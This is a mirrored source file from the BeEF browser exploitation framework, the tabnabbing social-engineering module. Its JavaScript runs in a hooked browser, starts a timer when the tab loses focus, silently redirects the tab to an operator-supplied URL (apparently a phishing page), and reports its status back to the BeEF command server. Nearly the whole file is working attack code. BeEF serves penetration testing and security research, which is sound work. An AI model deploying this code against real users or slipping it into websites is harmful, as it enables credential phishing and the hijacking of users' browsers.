Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/tabnabbing/command.js
1866 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var url = "<%= @url %>";
10
var wait = <%= @wait %>*1000*60;
11
var tabnab_timer;
12
13
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive');
14
15
// begin countdown when the tab loses focus
16
$j(window).blur(function(e) {
17
begin_countdown();
18
19
// stop countdown if the tab regains focus
20
}).focus(function(e) {
21
clearTimeout(tabnab_timer);
22
});
23
24
begin_countdown = function() {
25
tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);
26
}
27
28
});
29
30